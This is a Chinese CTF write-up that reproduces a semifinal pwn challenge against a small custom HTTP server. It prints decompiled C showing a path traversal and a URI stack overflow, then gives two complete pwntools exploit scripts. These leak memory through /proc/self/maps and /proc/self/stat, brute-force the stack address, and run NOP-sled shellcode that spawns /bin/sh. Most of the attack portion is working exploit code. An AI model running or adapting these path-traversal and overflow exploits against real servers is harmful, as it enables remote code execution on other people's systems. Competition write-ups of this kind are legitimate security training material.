第十九届ciscn&长城杯半决赛isw1第一步复现
本题较难,作为一个不成熟的pwn手全身心投入三个半小时,赛场上最终也未能成功getshell,不过把对应的server、libc、ld文件均dump下来,回来自行搭建环境进行复现,以下是我的复现成果:
首先,nmap扫描发现存在路径穿越漏洞,然后,我去查看了/proc/self/maps文件,发现存在root/pico/server文件正在运行,于是将其下载下来,进行分析(后来听说这个路径下还有main.c等一堆源文件和编译命令,不过好像也没什么大用?),发现其中的file_name使用了256字节数组进行存储:
void __cdecl route()
{
char *v0; // rax
char file_name[256]; // [rsp+0h] [rbp-120h] BYREF
char index_html[24]; // [rsp+100h] [rbp-20h] BYREF
header_t *h; // [rsp+118h] [rbp-8h]
if ( !strcmp("/", uri) && !strcmp("GET", method) )
{
sprintf(index_html, "%s%s", "./public", "/index.html");
printf("%s 200 OK\n\n", "HTTP/1.1");
if ( file_exists(index_html) )
{
read_file(index_html);
}
else
{
v0 = request_header("User-Agent");
printf("Hello! You are using %s\n\n", v0);
}
}
else if ( !strcmp("/test", uri) && !strcmp("GET", method) )
{
printf("%s 200 OK\n\n", "HTTP/1.1");
puts("List of request headers:\n");
for ( h = request_headers(); h->name; ++h )
printf("%s: %s\n", h->name, h->value);
}
else if ( !strcmp("/", uri) && !strcmp("POST", method) )
{
printf("%s 201 Created\n\n", "HTTP/1.1");
printf("Wow, seems that you POSTed %d bytes.\n", payload_size);
puts("Fetch the data using `payload` variable.");
if ( payload_size > 0 )
printf("Request body: %s", payload);
}
else if ( !strcmp(uri, uri) && !strcmp("GET", method) )
{
fprintf(stderr, "%p\n", file_name);
sprintf(file_name, "%s%s", "./public", uri);
if ( file_exists(file_name) )
{
printf("%s 200 OK\n\n", "HTTP/1.1");
read_file(file_name);
}
else
{
printf("%s 404 Not found\n\n", "HTTP/1.1");
sprintf(file_name, "%s%s", "./public", "/404.html");
if ( file_exists(file_name) )
read_file(file_name);
}
}
else
{
printf("%s 500 Internal Server Error\n\n", "HTTP/1.1");
}
}
但传入内容uri可以超出256字节,从而发生栈溢出:
void __cdecl respond(int slot)
{
char *v1; // rax
int payload_size; // eax
int clientfd; // [rsp+1Ch] [rbp-34h]
const char *t2; // [rsp+20h] [rbp-30h]
char *t; // [rsp+28h] [rbp-28h]
char *ta; // [rsp+28h] [rbp-28h]
const char *key; // [rsp+30h] [rbp-20h]
int rcvd; // [rsp+3Ch] [rbp-14h]
char *val; // [rsp+40h] [rbp-10h]
header_t *h; // [rsp+48h] [rbp-8h]
buf = (char *)malloc(0xFFFFu);
rcvd = recv(clients[slot], buf, 0xFFFFu, 0);
if ( rcvd >= 0 )
{
if ( rcvd )
{
buf[rcvd] = 0;
method = strtok(buf, " \t\r\n");
uri = strtok(0, " \t");
prot = strtok(0, " \t\r\n");
uri_unescape(uri);
fprintf(stderr, "\x1B[32m + [%s] %s\x1B[0m\n", method, uri);
qs = strchr(uri, 63);
if ( qs )
{
v1 = qs++;
*v1 = 0;
}
else
{
qs = uri - 1;
}
h = reqhdr_0;
while ( h < &reqhdr_0[16] )
{
key = strtok(0, "\r\n: \t");
if ( !key )
break;
for ( val = strtok(0, "\r\n"); *val == 32; ++val )
;
h->name = (char *)key;
h->value = val;
++h;
fprintf(stderr, "[H] %s: %s\n", key, val);
t = &val[strlen(val) + 1];
if ( t[1] == 13 && t[2] == 10 )
break;
}
ta = strtok(0, "\r\n");
t2 = request_header("Content-Length");
payload = ta;
if ( t2 )
payload_size = atol(t2);
else
payload_size = rcvd - ((_DWORD)ta - (_DWORD)buf);
payload_size = payload_size;
clientfd = clients[slot];
dup2(clientfd, 1);
close(clientfd);
route();
fflush(stdout);
shutdown(1, 1);
close(1);
}
else
{
fwrite("Client disconnected upexpectedly.\n", 1u, 0x22u, stderr);
}
}
else
{
fwrite("recv() error\n", 1u, 0xDu, stderr);
}
free(buf);
}
根据以上内容,整个输入的内容(buf)我们都是可以控制的,从而也控制了method,uri,payload,payload_size。
比赛时候的思路
开始我尝试直接通过栈溢出到one_gadget地址getshell,因为既然可以任意文件读取了,我们可以很容易获取libc基地址,但是每个都进行了尝试,全部失败(甚至有一个我感觉条件完全符合的)。
既然这个不成功,我考虑使用rop链,但是看了下可利用的rop,全部是pop rbp和mov rax的种类,实在是无从下手。
然后我注意到,在连接中,有一个特殊的方法调用post,payload是完全可以控制的。既然有这个方法,而且一般人大概也不会用,那么必然有其存在的利用 价值。而NX未开启,所以堆栈可执行,完全可以在payload中写入shellcode然后通过栈溢出让程序执行到shellcode的位置从而getshell。
但是,问题又来了:post方法规定必须在web根目录下完成,那么filename的溢出必须在下一次进行,而这个服务采用短连接,在post中使用过的payload指针并不会保留到get请求时。
不过,这个方法也好解决,我们仔细观察程序:
ta = strtok(0, "\r\n");
t2 = request_header("Content-Length");
payload = ta;
并没有在判断请求为POST的情况下才解析payload,而是在所有情况下出现\r\n\r\n都会被解析进payload中,所以可以在GET请求后添加请求体。
接着我发现了使用strtok函数进行解析传入内容,非常不稳妥,如果遇到\x00字符会直接被截断从而无法返回后续内容,导致payload无法被传入,不过由于使用了uri_unescape函数(这个函数好像也是自己写的?怎么感觉解析能力有很大问题。),可以将其编译为%00,从而允许后续字符进入进行解析:
void __cdecl uri_unescape(char *uri)
{
char n9; // al
char n9_1; // al
char *v3; // rax
char *dst; // [rsp+18h] [rbp-18h]
char *srca; // [rsp+20h] [rbp-10h]
char chr; // [rsp+2Fh] [rbp-1h]
char chra; // [rsp+2Fh] [rbp-1h]
while ( *uri && ((*__ctype_b_loc())[*uri] & 0x2000) == 0 && *uri != 37 )
++uri;
dst = uri;
while ( *uri && ((*__ctype_b_loc())[*uri] & 0x2000) == 0 )
{
if ( *uri == 43 )
{
chr = 32;
}
else if ( *uri == 37 && uri[1] && uri[2] )
{
srca = uri + 1;
if ( *srca <= 57 )
n9 = 0;
else
n9 = 9;
chra = 16 * ((*srca & 0xF) + n9);
uri = srca + 1;
if ( *uri <= 57 )
n9_1 = 0;
else
n9_1 = 9;
chr = n9_1 + (*uri & 0xF) + chra;
}
else
{
chr = *uri;
}
v3 = dst++;
*v3 = chr;
++uri;
}
*dst = 0;
}
那么,基础问题解决了,接下来就是我初次的尝试(已然是赛后😭):
初次尝试:栈迁移
由于我想将程序流重定向到payload存放的堆指针指向的内容处,需要使用栈迁移,让rbp先指向payload-8的地址处,然后通过两次的leave retn让rip指向堆内容。不过,两次返回的化会退出respond函数,而退出前会触发 shutdown(1, 1);,造成输出关闭,我决定在shellcode中添加重连shell逻辑。于是,脚本如下(这里我采用了将文件读到另一个文件以验证此方法有效性):
one_gadget_list = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38 ,0xebd3f, 0xebd43]
from pwn import *
import requests
context.arch = 'amd64'
context.log_level = 'debug'
ip = "localhost"
port = 8000
base_url = f"http://{ip}:{port}/"
def test():
response = requests.get(base_url + "test")
return response
def get_base_addr(target_file):
response = requests.get(base_url + "..%2f..%2f..%2f..%2f..%2f..%2fproc/self/maps")
base_addr = extract_base_address(response.text, target_file)
return base_addr
def extract_base_address(maps_content, target_file):
"""
从maps内容中提取目标文件的基址(可执行段的起始地址)
Args:
maps_content (str): /proc/self/maps的文本内容
target_file (str): 目标文件路径(如 /app/server, /app/libc.so.6)
Returns:
str: 基址(十六进制字符串),未找到则返回 None
"""
# 按行分割内容,跳过空行
lines = [line.strip() for line in maps_content.split('\n') if line.strip()]
for line in lines:
# 分割每行字段(处理多个空格)
parts = line.split()
if len(parts) < 6:
continue
# 提取关键字段
addr_range = parts[0] # 虚拟地址范围,如 783c3c3ee000-783c3c416000
perms = parts[1] # 权限,如 r-xp
offset = parts[2] # 文件偏移f
pathname = parts[-1] # 文件路径
# 匹配目标文件,且是可执行段(含 x 权限)
if target_file in pathname and 'x' in perms:
# 提取起始地址(- 分割后的第一部分)
base_addr = addr_range.split('-')[0]
try:
base_addr = int(base_addr, 16) # 转换为整数
offset = int(offset, 16) # 转换为整数
base_addr -= offset # 减去偏移得到基址
except ValueError:
return None
return base_addr
return None
# libc_base = get_base_addr("app/libc.so.6")
# server_base = get_base_addr("app/server")
# if not libc_base or not server_base:
# print("Failed to get base addresses.")
# exit(1)
# print(f"libc_base: {hex(libc_base)}")
# print(f"server_base: {hex(server_base)}")
server_base = 0x783c3c3ee000
payload_addr = server_base + 0x52B8
print(f"payload_addr: {hex(payload_addr)}")
def my_get(path:bytes, body:bytes|None = None) -> bytes:
if b'\x00' in path:
print("Path contains null byte, replacing with %00")
path = path.replace(b'\x00', b'%00')
if body is None:
return b"GET /" + path + b" HTTP/1.1\r\n\r\n"
return b"GET /" + path + b" HTTP/1.1\r\n" + b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body
def my_post(path:bytes, body:bytes) -> bytes:
return b"POST /" + path + b" HTTP/1.1\r\n" + b"Content-Length: " + str(len(body)).encode() + b"\r\n\r\n" + body
p = remote(ip, port)
payload1 = asm(shellcraft.nop() * 32) + b'\xeb\x00' + asm("add rsp, 0x900") + asm(shellcraft.execve('/bin/sh', ['sh', '-c', 'cat /flag > /tmp/f1'], 0)) # type: ignore
# shellcraft.bindsh(8888) # type: ignore
payload2 = b'A' * (0x120 - len("./public/") ) + p64(payload_addr-0x8)
# payload3 = b'A' * (0x120 + 0x8 - len("./public/")) + p64(one_gadget_list[7] + libc_base)
p.send(my_get(payload2, payload1))
p.interactive()
然而,尝试失败了,之前还不知道什么原因,刚刚写复现流程写着写着感觉不对,回头一翻录像发现自己傻了:
截图1
明晃晃的堆不可执行,栈可执行没注意到,我是傻子😭😭😭
第二次尝试:栈爆破(成功)
随后,想到了一个我自己没用过的方法,成功getshell了(AI真是太好用了,你知道吗😂)
还是由于NX未开启,我们除了堆中写入shellcode,还可以考虑栈。那么,需要知道栈的具体地址:
可以通过/proc/self/stat获取程序的栈的基地址;然后,再通过/proc/self/maps获取进程的栈地址,从而得到大概的可行栈地址范围。
而由于程序使用fork,子进程的堆栈布局与父进程完全相同,从而给出了爆破真实栈地址的可行性。
不过,filename依旧需要防止\x00截断,所以需要在返回地址前写入shellcode;同时,由于超长的乱码 URI 不可能是存在的文件,程序会走向 else 分支并执行第二次拷贝:sprintf(file_name, "%s%s", "./public", "/404.html");,所以需要将前面的19字节留出空间,而为了让命中的概率提高,采用nop sled覆盖shellcode前的填充部分,这样可以让搜索的单次爆破跨越范围增大。
于是,得到脚本如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import re, time
HOST = "localhost"
PORT = 33453
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
# 栈帧常量
# file_name @ offset 0x000, saved_rbp @ 0x120, ret_addr @ 0x128
# sprintf: "./public/" (9 bytes) + URI
# 404 sprintf覆盖前19字节 (./public/404.html\0)
SPRINTF_PREFIX = 9 # len("./public/"), 含URI开头的/
SAFE_START = 19 # 404 sprintf覆盖的字节数, 之后安全
SAVED_RBP_OFF = 0x120 # file_name到saved_rbp
RET_ADDR_OFF = 0x128 # file_name到return addr
def url_enc(data):
return "".join(f"%{b:02x}" for b in data)
def path_read(filepath):
try:
r = remote(HOST, PORT, timeout=5, level='warn')
req = f"GET /{'..%2f' * 6}{filepath.lstrip('/')} HTTP/1.1\r\nHost: {HOST}\r\n\r\n"
r.send(req.encode())
time.sleep(0.3)
data = r.recvall(timeout=3)
r.close()
return data.split(b"\n\n", 1)[1] if b"\n\n" in data else data
except:
return b""
def get_stack_info():
maps = path_read("/proc/self/maps").decode(errors='ignore')
stat = path_read("/proc/self/stat").decode(errors='ignore')
stack_start = stack_end = startstack = None
for line in maps.split('\n'):
if '[stack]' in line:
a = line.split()[0].split('-')
stack_start = int(a[0], 16)
stack_end = int(a[1], 16)
m = re.search(r'\)\s+(.*)', stat)
if m:
f = m.group(1).split()
if len(f) > 25:
startstack = int(f[25])
return stack_start, stack_end, startstack
def main():
log.info("Server BoF -> Shellcode (bypass 404 sprintf)")
stack_start, stack_end, startstack = get_stack_info()
if stack_start is None or stack_end is None or startstack is None:
log.error("Failed to leak stack info")
return
log.success(f"stack: {hex(stack_start)} ~ {hex(stack_end)}")
log.success(f"startstack: {hex(startstack)}")
# shellcode: dup2(1,0) + dup2(1,2) + execve("/bin/sh")
shellcode = asm(shellcraft.dup2(1, 0) + shellcraft.dup2(1, 2) + shellcraft.sh()) # type: ignore
assert b'\x00' not in shellcode
log.info(f"Shellcode: {len(shellcode)} bytes")
# URI偏移计算
# file_name[0..8] = "./public/" (sprintf prefix, 9 bytes)
# file_name[9..] = URI content
# file_name[0..18] = 被404 sprintf覆盖 (19 bytes)
# file_name[19..] = 安全区, shellcode存活
# file_name[288] = saved_rbp (offset 0x120)
# file_name[296] = return addr (offset 0x128)
#
# URI布局:
# URI[0..9] = junk (10 bytes, 对应file_name[9..18], 会被覆盖)
# URI[10..X] = NOP sled + shellcode (对应file_name[19..X+9])
# URI[X+1..278] = padding
# URI[279..286] = fake saved_rbp (8 bytes, 对应file_name[288..295])
# URI[287..292] = return address (6 bytes, 对应file_name[296..301])
junk_len = SAFE_START - SPRINTF_PREFIX # 10
uri_to_savedrbp = SAVED_RBP_OFF - SPRINTF_PREFIX # 279
nop_shellcode_pad_len = uri_to_savedrbp - junk_len # 269
nop_sled_size = nop_shellcode_pad_len - len(shellcode) # 269 - 72 = 197
log.info(f"NOP sled: {nop_sled_size} bytes")
log.info(f"URI total: {junk_len} + {nop_sled_size} + {len(shellcode)} + 8 + 6 = {junk_len + nop_sled_size + len(shellcode) + 14}")
# 验证: URI总长应该让file_name正好覆盖到ret_addr
assert junk_len + nop_sled_size + len(shellcode) == uri_to_savedrbp # 279
# 搜索范围: startstack向下直到stack_start
total_range = startstack - stack_start
step = 0x80 # 128, 远小于NOP sled(197), 保证覆盖
total_candidates = total_range // step
log.info(f"Search: {hex(startstack)} down to {hex(stack_start)}, step=0x{step:x}, ~{total_candidates} candidates")
for offset in range(0x100, total_range, step):
file_name_guess = startstack - offset
# 返回地址指向NOP sled中间
target_addr = file_name_guess + SAFE_START + nop_sled_size // 2
addr_bytes = p64(target_addr)
if b'\x00' in addr_bytes[:6]:
continue
# 构造URI
uri = (b'\x41' * junk_len +
b'\x90' * nop_sled_size +
shellcode +
b'\x42' * 8 + # fake saved_rbp
addr_bytes[:6]) # return address
assert len(uri) == 279 + 8 + 6 # = 293
if b'\x00' in uri:
continue
encoded = "/" + url_enc(uri)
if offset % (step * 25) == 0x100 or offset == 0x100:
log.info(f" offset={hex(offset)}, target={hex(target_addr)}")
try:
r = remote(HOST, PORT, timeout=2, level='warn')
req = f"GET {encoded} HTTP/1.1\r\nHost: {HOST}\r\n\r\n"
r.send(req.encode())
time.sleep(0.3)
r.sendline(b"echo PWN3D_$(id)")
try:
resp = r.recv(timeout=1.5)
if b"PWN3D_" in resp:
log.success(f"*** SHELL @ offset={hex(offset)}, target={hex(target_addr)} ***")
log.success(resp.decode(errors='ignore'))
r.interactive()
return
except:
pass
r.close()
except:
pass
log.warning("Brute force exhausted")
if __name__ == "__main__":
main()
总结
这道题对我这个还没有学会内核pwn的小菜鸡来说还是太超模了,像proc/self/stat就是我完全没想到过的思路,还是得多练练。
我们队伍的配置也是不太行:都是轻薄本带不动本地大模型,自身也是全员本科生,不像别的队伍动不动就是全员研究生,mac studio(真有钱啊,我酸啦),最终也是遗憾败北,未能进入决赛。